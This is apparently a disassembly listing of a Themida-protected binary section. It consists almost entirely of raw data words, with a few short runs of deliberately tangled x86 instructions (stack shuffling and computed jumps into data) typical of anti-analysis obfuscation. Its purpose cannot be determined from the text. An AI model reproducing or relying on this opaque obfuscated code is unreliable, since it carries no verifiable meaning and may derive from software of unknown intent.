dd 1C0FEA5Ch, 0C433953Eh, 0B124DF75h, 0A14CE452h, 0E99D0830h
dd 5FC9176Fh, 0E99DC5ECh, 0A0232A6Fh, 0A49584F5h, 0EA9869F1h
dd 0D72693F3h, 6A8E3D55h, 0CE79CFD2h, 15A355Dh, 5EF64476h
dd 0D8B82AB3h, 15208D4Fh, 98FCF3h, 66C4BE96h, 80DED8C8h
dd 1A8B147Dh, 7601CFF2h, 0A2A50900h, 95FF4D4Ch, 0E38E1518h
dd 13E8E572h, 0F4E63470h, 793D4D07h, 2E761BFEh, 30000009h
dd 4333D13Dh, 5747E54Fh, 6F5FFD5Fh, 85751379h, 1D8A2890h
dd 0F35B50C2h, 0A6E6555h, 23837C6Ch, 3D9B9585h, 0CE3FA09Fh
dd 76011BA6h, 5C50A2B5h, 73A62D3h, 0F3416FE9h, 59B7B189h
dd 0E8A6A056h, 0F0F38BF3h, 0DFE2403Ah, 0CDD03029h, 61D0B069h
dd 9B6A4A03h, 2A543A1h, 66D0362Ch, 1D7B3289h, 16779D8h
dd 0F1F0000h, 4BB4B715h, 0DA8EA1D9h, 87277C7h, 2DD83630h
dd 0B10B33A4h, 24196FE9h, 6463B9BCh, 0C25AC0B6h, 4645DA58h
dd 0E29F10BBh, 0F369FBC7h, 2551A2A5h, 5D75FBB8h, 79D0A484h
dd 0C0DE302Fh, 50h, 0A9EA5C66h, 16E8E089h, 0BBB22F99h
dd 0B0C7D28h, 9669FB45h, 0FD67C7C0h, 1F0ED41Eh, 451E2F3Bh
dd 0FBCAACD4h, 0CD65B375h, 0A983F239h, 67FFD554h, 2F25FB64h
dd 670C6C9h, 0FB0A6793h, 0E6C69F75h, 2F7DBB12h, 0E1DAB0DEh
dd 0A6DE1781h, 84000000h, 0CB7150Fh, 0E1D94136h, 2C8285EBh
dd 3429DFC2h, 0EE60C9CCh, 76347605h, 739B0C3Dh, 7A6FE9EFh
dd 522A942Ch, 41F7FA58h, 0C04BE947h, 6FEA3E8Eh, 0C435A6A0h
dd 6FE9C29Ch, 0BC155A3h, 0CB573C86h, 0E9BF6A02h, 0A3218BF5h
dd 0D9841F0Eh, 0FDCBC868h, 4EF94769h, 7D1B8378h, 3E30988Dh
dd 733385ABh, 0CEB65B3Eh, 90000007h, 0A393319Dh, 0B7A745AFh
dd 0CFBF5DBFh, 0E5D573D9h, 7DEA88F0h, 53BBB022h, 6ACEC5B5h
dd 83E3DCCCh, 9DFBF5E5h, 2E9F00FFh, 76011C06h, 0FB00215h
dd 2414B21Ah, 8B2ECC2Ah, 0F15BBDB5h, 0A3EA5CB5h, 56F5DAC7h
dd 0EB7D0CA0h, 0D223A72Ch, 0D8969068h, 277D80DEh, 0DCD68C8Fh
dd 744AD37Eh, 5D85187Eh, 6C6FEA00h, 5736B41Eh, 28Ch, 0E0636A05h
dd 106FC435h, 70BE69F1h, 0A7B046Dh, 760110E2h, 0BE319BE9h
dd 76011092h, 373107CAh, 0EECE6FD9h, 586FA6Ch, 6F5B38BFh
dd 56282973h, 0FD67FFE7h, 35ACC920h, 22810DEh, 5CB60000h
dd 73A62D3h, 0F7416FE9h, 69E05AABh, 1A841C9Bh, 0E94C80A7h
dd 65FCEF6Fh, 54FC49BAh, 0BF0D69F1h, 0F21A8B14h, 0F9760153h
dd 54AB27AFh, 0F890CDE5h, 0F17A038Eh, 11E5880h, 15756E76h
dd 0AC1DC816h, 76011E84h, 0FBD33D8Bh, 1505A301h, 5635D1Bh
dd 2B016A6Dh, 0B728D331h, 76011E8Fh, 69E6509Eh, 0C334DF62h
dd 70133836h, 98C7B907h, 0BD793E09h, 6AB35DAh, 0C0B30000h
dd 0D2C6B654h, 0E2DACA68h, 0FCF2E280h, 1308F896h, 41A00DABh
dd 0D876DED3h, 0EF8DF1E8h, 8A606FFh, 22C01E18h, 2951C223h
dd 3076011Dh, 150FCB1Dh, 0CA9A0CB7h, 0BF1D173Dh, 0B8D266BCh
dd 0A083ED67h, 8F92F0EAh, 58DABA73h, 0F72B8B82h, 319A48Dh
dd 5BB1B44Ch, 0C11F19F1h, 0B0AA8023h, 8FF94F52h, 1E545BB2h
dd 144A2D8h, 0F480000h, 0FEB4B715h, 7308A604h, 683EE978h
dd 0B60C0F6Fh, 4CD5522h, 1D8747DEh, 0B8642192h, 277569FBh
dd 88A7D324h, 6DF75FBh, 0D4CEA426h, 0B31D7376h, 2FFF7FD6h
dd 45C6DEh, 6A6C0000h, 3362E463h, 7068C717h, 0A01EE9DCh
dd 62FA634Fh, 964546B7h, 0E65869FBh, 0A2D2499Bh, 0E3D7CFCCh
dd 0B6207679h, 358689D7h, 75FB2009h, 0B4886841h, 0DE2F945Dh
dd 0B5A4h, 0A289FB00h, 0E94DD9D1h, 5C5490FAh, 0C12B8F86h
dd 3731EFE9h, 0E880D6D9h, 0D23A2FE5h, 611F19CFh, 0AB01046Ch
dd 35A71013h, 0B59E97EDh, 9E76E089h, 5A846A4h, 8B15393h
dd 0F6609E35h, 0E9C14183h, 0FB59536Fh, 20827A50h, 0A8A338B6h
dd 5DFD6E19h, 0AC69FDECh, 0E6DDB35Eh, 0BF297F82h, 1695E34h
dd 167E7363h, 33A63924h, 882D1073h, 559h, 8A61205h, 1CBA2418h
dd 34D2342Ch, 4AE84E44h, 5FFD655Ah, 302597F2h, 433A2AC8h
dd 585141DFh, 706A5AF8h, 14757412h, 11E7BA3h, 1D6F8276h
dd 7B21A0Fh, 4FAFA87Eh, 0E90794BCh, 0E34D9B6Fh, 1D7B7565h
dd 150F2B7Fh, 12830CB7h, 6FE907EAh, 5639A3F1h, 0AA48A6A0h
dd 27CBh, 150F7900h, 4FEB4B7h, 52EA5046h, 77DDD1A7h, 2505A956h
dd 0B7BA527Bh, 0B714F761h, 57512000h, 1C7C5BF9h, 2A000000h
dd 0B4B7150Fh, 1C7C754Bh, 7123FB2h, 902F6FE9h, 60582EB0h
dd 0C2BC94FEh, 5C72C664h, 73A62D3h, 4F486FE9h, 38A2F0EFh
dd 5086660h, 56D1C69Ch, 0E907BDE5h, 0E67ECC6Fh, 7A2CA3Bh
dd 5BA96FE9h, 0EA7974F1h, 0BC2DB63Fh, 6FE90794h, 92BA4D9Bh
dd 996FE907h, 0FB7BB74Bh, 29AE7830h, 72C334BFh, 0BB69F18Bh
dd 0F2ECC26Dh, 0C06F694h, 5D50ABAEh, 0AA1BC6h, 63700981h
dd 0CA34948Dh, 69F29DEBh, 0CE389C93h, 9EFCF6h, 0B5B81610h
dd 25D0535Ah, 0FB90F3B4h, 9F986E69h, 7CE63C3Fh, 0F65D4F9Dh
dd 3F7335D0h, 42BB75Ch, 40330000h, 524636D4h, 625A4AE8h
dd 7C726200h, 93887816h, 0C1208D2Bh
dd 58F65E53h, 6F0D7168h, 8826867Fh, 0A2409E98h, 0A9D142A3h
dd 0B0760120h, 865C4B9Dh, 0E7BF2991h, 1F18FEDh, 8CFEA907h
dd 14B1FDFCh, 0F2D53FBEh, 9BE8423Ch, 71D7D20Fh, 9D32E886h
dd 9B77F909h, 0E9B1022Ah, 23BB096Fh, 35CD372Bh, 7D5D1632h
dd 0B856B4AEh, 1E246CC3h, 2BB3D8h, 6A590000h, 0C435E063h
dd 69FB4BEBh, 6339E432h, 0E16C0A6Ah, 75FB54B7h, 0D775D3CDh
dd 3675E34h, 6840AA00h, 670C0F6Fh, 38Dh, 57150F15h, 0A1F7FA62h
dd 56500609h, 45B75AF8h, 5B13F564h, 25A20CFEh, 67F09B26h
dd 0DFD39D91h, 841C7275h, 0F802B81h, 6FE92BE7h, 0CB3EA8F6h
dd 69FB420Eh, 85EEF13Fh, 0E953B9AFh, 0FB464A76h, 0C9A98275h
dd 2FBD9EF5h, 20E5DEh, 6A8B0000h, 0C435E063h, 69FB11C3h
dd 0A8F9FC4Ah, 75FB1E7Ch, 27FBDBB4h, 0DE2F91D0h, 9F17h
dd 150FBD00h, 9FEB4B7h, 0EFE74941h, 0F6F991FBh, 0E5E84640h
dd 39D7352Fh, 0E9029CAEh, 1A78726Fh, 903D97Ch, 6F6941ABh
dd 0B8B30E11h, 1FF57E29h, 0EA5DC725h, 69FB2931h, 0D76C0A58h
dd 31A24DD4h, 700FCE9Bh, 0B3893482h, 0C8B856BEh, 0C8796BD3h
dd 517941B2h, 2C7C96Eh, 0A4970000h, 0B6AA9A38h, 0C6BEAE4Ch
dd 0E0D6C664h, 0F7ECDC7Ah, 2584F18Fh, 0BC5AC2B7h, 0D371D5CCh
dd 0EC8AEAE3h, 6A402FCh, 0D35A607h, 1C760121h, 1A0FB709h
dd 0E87114B2h, 0E9074F77h, 0B7B05E6Fh, 7D55BF57h, 33872583h
dd 2892865Ch, 13796F25h, 9994117Bh, 554DB5AAh, 0B762FA5Eh
dd 9E60582Eh, 0A7AA42A8h, 98F8F1h, 12222396h, 0DD2B69FBh
dd 1E5D89DAh, 0BC9575FBh, 91B108DCh, 97F8DE2Fh, 9E000000h
dd 5D57150Fh, 0AE6467FFh, 0FD4E51B9h, 6FE902EBh, 4BE94741h
dd 76DCD2A8h, 0DBB31D73h, 258083E1h, 67F09B26h, 73ADC4F5h
dd 66D079A7h, 0FBD23AF3h, 77156369h, 0AD58EBE2h, 103D053Ch
dd 0FBA0870h, 3EDC4439h, 0FFF1594Eh, 79421738h, 0F245EACDh
dd 6C000001h, 7F6F0D79h, 9383218Bh, 0AB9B399Bh, 0C1B14FB5h
dd 59C664CCh, 2F978CFEh, 46AAA191h, 5FBFB8A8h, 79D7D1C1h
dd 0A7BDCDBh, 760122E2h, 0F84D6E9h, 2414B21Ah, 9821CC2Ah
dd 0E906FF27h, 56C00E6Fh, 150F84D8h, 3F360CB7h, 0C13D8ADFh
dd 57EFA244h, 0B194FE54h, 0B89ED648h, 7C10746Bh, 0E751BB58h
dd 19B7150Fh, 0CED12F29h, 4AEDF365h, 0F6C543A2h, 36A00AFEh
dd 0AB1CB2B9h, 6FE92683h, 0C7A83C8Ah, 796876C2h, 51DA851Dh
dd 0E9ABB8E0h, 8179C76Fh, 33BE2888h, 0FBA4C1C2h, 0F7FA4869h
dd 7F01E1A0h, 0D4FC6DF6h, 0DB75FBA9h, 0A9D2FA8Dh, 8BD975FBh
dd 914F4921h, 0DB31349Ch, 9E0F9843h, 75FBA976h, 4FCD3785h
dd 8530B3BAh, 0DB21714h, 4DF84670h, 0AF198377h, 0BE1C16CCh
dd 0C7A75EBBh, 234BBC45h, 956FE9B2h, 0B38AD0D1h, 86E7E646h
dd 0E9A3ED15h, 16AEFC6Fh, 0A53C2FACh, 0AB8C89FAh, 3B1169FBh
dd 29DFE242h, 0CF39D12Fh, 133A6F0h, 0F1C3446Ah, 0D1CBBB59h
dd 3D370E77h, 35CD359Ah, 23837C32h, 2A0AC920h, 0AAA3615Bh
dd 59F1474Ah, 9C2726BBh, 9B9268F1h, 797CE0D7h, 0AE218B23h
dd 700DE9ADh, 8EB627B0h, 9D6FE9F6h, 0B33A44Fh, 126FE9F6h
dd 2D7B5AC4h, 1C7A742Ah, 2303C219h, 0CDC5BCAFh, 7A12686Bh
dd 0EF5D5ECFh, 9EEC69FBh, 0E9EB5D00h, 0FF6A8679h, 2528A50Fh
dd 31F21A8Bh, 0ABF975FBh, 59F76813h, 8700339h, 6ED83A32h
dd 0C096418Fh, 15F862CCh, 68DFD6ACh, 0F329CFF7h, 0F890DE6Fh
dd 5EBCB68Eh, 78D6D0C0h, 0FE222475h, 0D68D7A28h, 0CF2D27F6h
dd 0E9474131h, 0F873683Eh, 0E7065F87h, 88206E85h, 0FCD23B1Eh
dd 0EA4A4303h, 0F6F991E7h, 4AE24C40h, 0AC1208E0h, 0D3A952A9h
dd 6F107ADAh, 68C6C08Fh, 82E0DACAh, 3DA7Fh, 95880000h
dd 0B01C0F59h, 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah, 63CBC076h
dd 4DB5AA60h, 389E944Ah, 25877F35h, 0E786C22h, 9684D0Bh
dd 89000021h, 89562404h, 4C681E6h, 81000000h, 4EEh, 24348700h
dd 2414895Ch, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch
dd 0EA68243Ch, 8B061809h, 0C4832414h, 3C8B5404h, 4C48324h
dd 6B0768h, 24148900h, 0B8243481h, 8F4E0F48h, 77810847h
dd 0F48B808h, 243C8B4Eh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_54EA15
; ---------------------------------------------------------------------------
test [edx-47A93DC7h], dh
jz short loc_5A8830
sbb [esi], al
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0A9h, 28h, 19h
dd 0D467F32Dh, 0C26D5F76h, 0FD6D9B44h, 48CDE70Ah
db 18h
byte_5A882D db 0BCh, 32h, 8Eh ; CODE XREF: Themida_:loc_5A8830j
; ---------------------------------------------------------------------------
loc_5A8830: ; CODE XREF: Themida_:005A8811j
jp short near ptr byte_5A882D
push ss
; ---------------------------------------------------------------------------
db 0DBh
dd 0DC8DC731h, 67A68809h, 306D732h, 8B570968h, 5D962206h
dd 3B9BC416h, 1B25206Ah, 8F4BD27Ch, 0F07E111Ah, 901ED264h
dd 8C177821h, 23D3720Ch, 73B1FE28h, 6D691A6Ch, 71C18659h
dd 98DBD04Fh, 0F6913815h, 0E968893Fh, 135B6F65h, 325E782Ah
dd 1348E912h, 0E260346Bh, 133C6955h, 0E8A5E4Ch, 0ABE92Ah
dd 668A0000h, 0CC471264h, 38F3BAF5h, 0AFD666D1h, 0B2979FABh
dd 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h, 77609BB6h, 94A9B6F3h
dd 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h
dd 937E9BB9h, 96B99D89h, 9E96AFF4h, 0D6B594A1h, 0FD91A7h
dd 4ACC48D1h, 713C3359h, 0DB4D5200h, 5EF357h, 9DBBEFB6h
dd 9500BD89h, 0EFB69F89h, 0D00097BBh, 55C3B1B6h, 37005271h
dd 0D3C20DA4h, 0E0910h, 0Bh dup(0)
dd 10B2E900h, 25680000h, 0E9061821h, 0FFFA60C1h, 18222568h
dd 60B7E906h, 0DC68FFFAh, 0E9061822h, 0FFFA60ADh, 18241E68h
dd 60A3E906h, 9668FFFAh, 0E9061824h, 0FFFA6099h, 18254568h
dd 608FE906h, 0E068FFFAh, 0E9061825h, 0FFFA6085h, 1826E068h
dd 607BE906h, 0BB68FFFAh, 0E9061827h, 0FFFA6071h, 18287C68h
dd 6067E906h, 5E68FFFAh, 0E9061829h, 0FFFA605Dh, 182B2068h
dd 6053E906h, 5B68FFFAh, 0E906182Dh, 0FFFA6049h, 182E4C68h
dd 603FE906h, 0DCCFFFFAh, 0EEE2D270h, 0FEF6E684h, 180EFE9Ch
dd 2F2414B2h, 5DBC29C7h, 0F492FAEFh, 0BA90D04h, 24C2221Bh
dd 3EDC3A34h, 456DDE3Fh, 54760126h, 0D3CAA041h, 18E56373h
dd 9D35387Ch, 150FF733h, 4FEB4B7h, 97C8FEAAh, 14ACF8FBh
dd 44EAE176h, 0E92BABD3h, 0CC64B26Fh, 2269821h, 8C892B4Ch
dd 8C538A2h, 3969FB6Eh, 6B97E8EBh, 0A375FB52h, 0BF16EACAh
dd 0B4DE2FC9h, 0B3468242h, 0BC261775h, 2583h, 636A2900h
dd 0C3C435E0h, 4A69FB11h, 3B3EA89Ch, 0F94A4DE5h, 75FB1ECDh
dd 784C2C05h, 0DE2F9221h, 11368h, 150F0E00h, 9FEB4B7h
dd 0C3359EA1h, 66D75481h, 6FE9903Eh, 0E46BFF4Dh, 4D258F05h
dd 89F2F553h, 66863117h, 38A2CAF7h, 6A086660h, 0E91ECCDFh
dd 0A866606Fh, 30A14CB2h, 6FE91F08h, 8631C917h, 0E852BCB0h
dd 0C2807A6Ah, 21CC64CEh, 1EFF2798h, 0C00E6FE9h, 15187356h
dd 160DE38Eh, 4CBD48B2h, 69FB1EA3h, 29BE5CAAh, 84483F22h
dd 0D2282B8Bh, 0F61E8F3Ah, 575FB1Fh, 0EB741FB7h, 0FB1F527Ah
dd 143CAD75h, 1B75FB1Fh, 1680CECDh, 0C1EB1A8Bh, 0B402700Fh
dd 86F78009h, 6FEFBD5Eh, 0DDB51F6Dh, 4CD580E8h, 86198176h
dd 6FEFBD5Eh, 37B51F6Dh, 0F8EA5247h, 79431B73h, 0E9EA8F72h
dd 3400000Dh, 4737D541h, 5B4BE953h, 73630163h, 8979177Dh
dd 218E2C94h, 0F75F54C6h, 0E726959h, 27878070h, 419F9989h
dd 0D243A4A3h, 760128AAh, 5C4C9EB1h, 73A62D3h, 24956FE9h
dd 6FE907FCh, 68B6B503h, 0C93126FEh, 0E3413B2Bh, 163EAF38h
dd 256FE907h, 9BEF6DD7h, 2D8D865Ch, 0BC4746C3h, 119FA011h
dd 64AE69FBh, 4FBBC08Eh, 5D60F831h, 0FBF4E00Ch, 5F3F1875h
dd 3068348Bh, 0BA7BDEh, 0F210000h, 0FEB4B715h, 4D9EA109h
dd 6FE9023Ah, 0CF7AD8D2h, 0B0D9FF5Dh, 0B728C10Ah, 6FE9268Fh
dd 4EB8509Eh, 75E6E0D0h, 0E926DC04h, 90F2EA6Fh, 97BF3091h
dd 0A66FE926h, 7D28C058h, 0E04AB2A7h, 18ABA2FDh, 0D25BE46Dh
dd 0E9263961h, 5FF2406Fh, 6FE92637h, 1B8EF846h, 69FB2672h
dd 0FA8F2D7Bh, 54C570F3h, 700FCB36h, 0D2322BD9h, 36E179CFh
dd 65036B60h, 26188075h, 79431CB3h, 0E90EB396h, 3400000Ch
dd 4737D541h, 5B4BE953h, 73630163h, 8979177Dh, 218E2C94h
dd 0F75F54C6h, 0E726959h, 27878070h, 419F9989h, 0D243A4A3h
dd 760129AAh, 0F4C9EB1h, 2414B21Ah, 0DA2ECC2Ah, 0B4B7150Fh
dd 0BFAA04FEh, 0ED83EE63h, 0F5F86256h, 0D16F079Fh, 8487E9E1h
dd 0D876D4CEh, 7655F35h, 0A44AE04h, 25BCAF22h, 0D57FF17Ah
dd 40FC824Dh, 9AFD2596h, 0BE0C6FE9h, 0AC49BC26h, 5D69FBC2h
dd 95C2150Fh, 69E75F4h, 60D17C07h, 5B939777h, 5AB5B806h
dd 0B425D053h, 6186FB5Bh, 0B7C478C2h, 123FC581h, 60B6B919h
dd 0AF8530C8h, 0C9B957B5h, 507F71CFh, 0E587A9F0h, 0C325D02h
dd 0F8EB0000h, 0AFEEE8Ch, 1A1202A0h, 342A1AB8h, 4B4030CEh
dd 79D845E3h, 10AE160Bh, 27C52920h, 40DE3E37h, 5AF85650h
dd 6189FA5Bh, 68760129h, 150F0355h, 0D94BB4B7h, 0F398C8DFh
dd 0BF3CA678h, 89B122CCh, 906FE9ABh, 29FFAA42h, 0DA65CF31h
dd 0FBD36469h, 1887F969h, 0C2714FAEh, 6B7BC226h, 52EA34B1h
dd 1DBB09E8h, 53FE8588h, 0E19B9E2h, 0C772C070h, 9699F7F1h
dd 0A2F3D640h, 6FE9C976h, 21F5D5AEh, 0D81E3CCAh, 5211h
dd 6EDF6800h, 6FE9BD46h, 619D0755h, 3A62D35Ch, 416FE907h
dd 10C89F3h, 8D66D782h, 0FC69FB4Bh, 342D03AEh, 81AB36D4h
dd 9375FB54h, 84E4DB99h, 0E0EC99BDh, 0FE019919h, 827210A8h
dd 81262989h, 0B64h, 0F22C6EE0h, 57978C5Dh, 0A6FCFF5Dh
dd 6A68A40Eh, 0C435E063h, 69F1189Fh, 9F75206Eh, 0B9A947A5h
dd 0E44565BFh, 23A57F6h, 10C676Ah, 0B266D782h, 257009F6h
dd 87F15B4Fh, 26AF5AA8h, 0EA85B3B4h, 0B8223977h, 475E6E0h
dd 6FE9F4DCh, 5FFD95E3h, 1417756Fh, 842FB2B9h, 70FF3912h
dd 93FD4074h, 0B3D69708h, 0A9F769FBh, 374416B7h, 8B301373h
dd 0AF0h, 30CE3A2Dh, 44E24C40h, 5CFA5C54h, 7210766Ch, 87258D82h
dd 584DBF1Ah, 6B6252F0h, 80796907h, 98928220h, 3C9D9C3Ah
dd 12BA3CBh, 4597AA76h, 0E9074874h, 0DED5AB6Fh, 0B721777Ah
dd 5B0333Ah, 0F118D894h, 0EB90769h, 42E03E38h, 0F7FA5852h
dd 6712919Ch, 134DF1F6h, 67F26470h, 668EFF1Fh, 756FF3E0h
dd 22B69327h, 4A9877E1h, 3F0B6B58h, 22C7AA79h, 0A78h, 0A846B2A5h
dd 0BC5AC4B8h, 0D472D4CCh, 0EA88EEE4h, 0FF9D05FAh, 0D0C53792h
dd 0E3DACA68h, 0F8F1E17Fh, 100AFA98h, 0B41514B2h, 12B1B43h
dd 0BD0F2276h, 0CB7150Fh, 74DE3C36h, 83E1DB91h, 0AA0802D8h
dd 0EC56BCB2h, 5535EC09h, 1D7F2A81h, 53E71D8h, 6A170000h
dd 0C435E063h, 69F11904h, 318F895Fh, 0EF9AE8C7h, 23C11F19h
dd 2ABA0E80h, 62CE2DD3h, 0E07458C1h, 5FD9034h, 0B24AA0A3h
dd 18767048h, 29A0976Dh, 15190B8h, 0B9519F76h, 6669C7C1h
dd 72C3A610h, 76015146h, 822DB4B7h, 137A0C11h, 0FDEF3D70h
dd 793F6EB4h, 0C9BD6245h, 54000009h, 6757F561h, 7B6B0973h
dd 93832183h, 0A999379Dh, 41AE4CB4h, 177F74E6h, 2E928979h
dd 47A7A090h, 61BFB9A9h, 0F263C4C3h, 76012CCAh, 0F6CBED1h
dd 0FEB4B715h, 0FA229304h, 16FE907h, 0FB181BB3h, 0CE26444h
dd 6C49B313h, 0D81D7F15h, 48F5Ch, 48740200h, 0B96FE907h
dd 13842FB2h, 69F11919h, 0E8A92698h, 9891EDE0h, 56014F2Eh
dd 8A288680h, 3F42A09Ah, 0AF5AE9E4h, 1373393Eh, 51461C70h
dd 0C7DE6E9h, 6FF374E4h, 9B059DEBh, 2B7C6EBCh, 0BA793F64h
dd 92E32D7h, 0FCEF0000h, 0E02F290h, 1E1606A4h, 382E1EBCh
dd 4F4434D2h, 7DDC49E7h, 14B21A0Fh, 2BC92D24h, 44E2423Bh
dd 5EFC5A54h, 658DFE5Fh, 7476012Ch, 150F0F61h, 7AEB5E57h
dd 6FE90752h, 0DB730B59h, 0CA2822D8h, 0EB55491Fh, 0CA819E81h
dd 7EBF16EAh, 0DEB4D81Dh, 287E81E9h, 0FFE40C7Dh, 9DEB6FE8h
dd 3E2FA33h, 74A00000h, 6FE9074Eh, 7E29B8B3h, 0D3FB6CF5h
dd 0DA6FE907h, 0ACAF228Ch, 5969F118h, 908A600Bh, 1F15DDD2h
dd 0C860B6B9h, 39D76FC5h, 46F14F49h, 0C9BE94D4h, 0AE18486Bh
dd 3D962CBh, 52A8AB09h, 1A397BFh, 46D91176h, 0F6144392h
dd 0C23FA9F7h, 48D38CBh, 3DD03A2Eh, 7601D015h, 1D7D7624h
dd 0C22CC41Ah, 0DED8AE37h, 0BD277D80h, 13E9BD4Ah, 0A617A070h
dd 6FF3F67Eh, 23943F8Dh, 6FF3F6FBh, 6B4AB402h, 6164C4BDh
dd 0F65F87F8h, 206E6FF3h, 27FEF088h, 32793EE2h, 82EAA4Fh
dd 0FCEF0000h, 0E02F290h, 1E1606A4h, 382E1EBCh, 4F4434D2h
dd 7DDC49E7h, 14B21A0Fh, 2BC92D24h, 44E2423Bh, 5EFC5A54h
dd 658DFE5Fh, 7476012Dh, 865C0F61h, 0D0262991h, 36948E66h
dd 58C0B58Bh, 5B550BEEh, 25DEFAFDh, 1E7C7645h, 49A40173h
dd 34930D3h, 4DA3A60Eh, 0D8CD4BB5h, 0D81E0F81h, 7C8h, 0DD206E00h
dd 0CE000002h, 0E9074E74h, 4F33A56Fh, 0C964FC0Eh, 3F2EAB15h
dd 4D1618A8h, 0BA3B9F0h, 85E5EF60h, 0FB8469F1h, 17A628Ah
dd 0B11B6976h, 50D984D2h, 0B51F837Ah, 2F25E3DDh, 85AD1EC9h
dd 9476017Ah, 2010AE46h, 5CC5C826h, 7A3A62D3h, 0F3417601h
dd 82010C89h, 93D966D7h, 0F37C7013h, 0F35C5A82h, 0B9B3616Fh
dd 7A59C35Bh, 7BE13A2Ch, 8164793Fh, 753DCh, 6BD7CA00h
dd 7FE9DDCDh, 97F9F1E1h, 0AD1309F9h, 0C22A1F0Fh, 0EA58B724h
dd 0FFEF8DF5h, 1606A408h, 2F1FBD1Dh, 3A39D735h, 2E4068D9h
dd 3C4F7601h, 0B7150FEAh, 9304FEB4h, 771990Ah, 2A786FE9h
dd 0E9076F97h, 85307E6Fh, 0E907EC14h, 0DA5F36Fh, 0FA5C540Ah
dd 0E34D41F7h, 0C5A51EE0h, 5F3FF856h, 9A389690h, 1D7B4EA5h
dd 795D8h, 203B0000h, 1F8h, 74D74CEh, 32A46FE9h, 0DCF52644h
dd 0A01D8714h, 0FA6B16ADh, 69F1E1E5h, 754BF644h, 8F7F1D7Bh
dd 0D9343795h, 94F8EFD2h, 0F8A33B91h, 70682A22h, 1D73760Eh
dd 2AB728B3h, 0FB7013F8h, 0F2F5534Dh, 0F712049Ch, 32793EDFh
dd 692AA4Fh, 988B0000h, 0AA9E8E2Ch, 0BAB2A240h, 0D4CABA58h
dd 0EBE0D06Eh, 1978E583h, 0B04EB6ABh, 0C765C9C0h, 0E07EDED7h
dd 0FA98F6F0h, 1299AFBh, 876012Fh, 150FA3F5h, 3E360CB7h
dd 8C24827Ch, 8F893F22h, 7578D8D1h, 6884871Fh, 600CFAFh
dd 7F8BFDA8h, 6CD2C81Ah, 0CB5A9AD8h, 6A40E361h, 0C8A50F73h
dd 0D81E0171h, 7B8h, 3D205E00h, 0CE000001h, 3A62D35Ch
dd 416FE907h, 0EF1689F3h, 526FE907h, 73058C9h, 0DE3F6FE9h
dd 0E907456Dh, 6E06546Fh, 72A52C3h, 0E3316FE9h, 12F1FC79h
dd 741FB71Bh, 0F118E603h, 3EE93769h, 0A50F6F68h, 0D94A441Ah
dd 1254068h, 7564BA76h, 34C20715h, 0B14FE735h, 6669C7C1h
dd 0D681000Bh, 5C012D64h, 53BDC38Ch, 3FCA57C8h, 0D5B7013h
dd 3F97E41Bh, 0A94E3179h, 5B0h, 700E7A6Dh, 84228C80h, 9C3A9C94h
dd 0B250B6ACh, 0C765CDC2h, 988DFF5Ah, 0ABA29230h, 0C0B9A947h
dd 0D8D2C260h, 7CDDDC7Ah, 130E30Bh, 85D7EA76h, 71BB150Fh
dd 56982E4Dh, 7C3235CDh, 0F0792482h, 0E991577Fh, 0AE18666Fh
dd 830CAFCBh, 0E991EA12h, 0A0FEF86Fh, 0FE48479Dh, 0A7481011h
dd 0D03AD269h, 86804F2Fh, 0ED48B02Ch, 0A59C044Fh, 7311A941h
dd 1E4D277Eh, 22931CD8h, 6FE9CDFAh, 1049B301h, 7, 3E20B6h
dd 0FCE0000h, 4BB4B715h, 72951C2h, 0E2306FE9h, 4CA6A078h
dd 9BEC74BDh, 0B223CEBEh, 6FE96A8Ah, 0A8AB4391h, 32B4944Bh
dd 0FD00665Ch, 6B653DA7h, 6A6189FAh, 1A686FE9h, 2B05E482h
dd 0B3000000h, 0B4B7150Fh, 0E9073663h, 0F4CA536Fh, 8F309AFCh
dd 88E6E0AFh, 0AE0E07DDh, 9CFCF5ABh, 0AB4399h, 0E907678Fh
dd 0BE28766Fh, 865CEC40h, 70D0C991h, 9C966ED8h, 0EDE03B3Eh
dd 153AAB56h, 0F469F118h, 72FBA6h, 0D9D50AA0h, 244E92EDh
dd 0CF075FF3h, 0F4EEC630h, 0C979EB96h, 0D9BC826Dh, 11017FE9h
dd 4DB6B917h, 0EF208077h, 0BBAD9E09h, 59D640D8h, 0F9E1D352h
dd 68703DAEh, 0B5244CBDh, 0DD2B7601h, 75299A45h, 947009C6h
dd 4299B46h, 0AA613379h, 0AC35C02Ah, 7679E1D6h, 0C26B8C20h
dd 0F0E6222h, 79D3CDA5h, 0D2D967A2h, 968D856Eh, 0CFC9A32h
dd 8009B412h, 23564A0Eh, 0B447751Ch, 6FE9AF8Ch, 0AF4E76E7h
dd 0F5D6FE9h, 163EAF10h, 256FE9AFh, 0F2D53FD7h, 0B6AD9497h
dd 860FBA52h, 4FF68614h, 5061F557h, 2699030Ch, 69FBE765h
dd 996456A4h, 7073370Fh, 3EEE88Dh, 3C2F0000h, 4E4232D0h
dd 5E5646E4h, 786E5EFCh, 8F847412h, 0BD1C8927h, 54F25A4Fh
dd 6B096D64h, 8422827Bh, 9E3C9A94h, 0A5CD3E9Fh, 0B4760132h
dd 0EA5C4FA1h, 86D2BF9Bh, 8961CBE9h, 0A393318Fh, 92484BA9h
dd 1B373A98h, 0B9B38262h, 0DF3EB05Bh, 2BD38EE8h, 31998E86h
dd 0F06ED82Eh, 1983774Dh, 717BD2AFh, 0E770D81Eh, 0E9F24E76h
dd 0A50F5D6Fh, 306Ch, 636A1200h, 0EBC435E0h, 3269FB4Bh
dd 6A6339E4h, 0B7E16C0Ah, 0CD75FB54h, 0E7D775D3h, 0D3372EEEh
dd 70E67AD0h, 0C5312936h, 26CBCE66h, 34Ch, 62D35CD4h, 6FE9073Ah
dd 476FE041h, 566FE907h, 89067008h, 0E354FF82h, 69FB0DA6h
dd 0B06669B7h, 0F85558B6h, 355DCE57h, 4475FB11h, 0A505FEF6h
dd 46BA9A3Bh, 3B11BC47h, 335BCC45h, 3A75FB11h, 5FEA54ECh
dd 0D17B1EEh, 0F492E070h, 2AD56C5Fh, 0FB0D7CB9h, 3C3F8D69h
dd 26299186h, 575026CFh, 0CEC8DF7h, 630E9598h, 0D17B5F2h
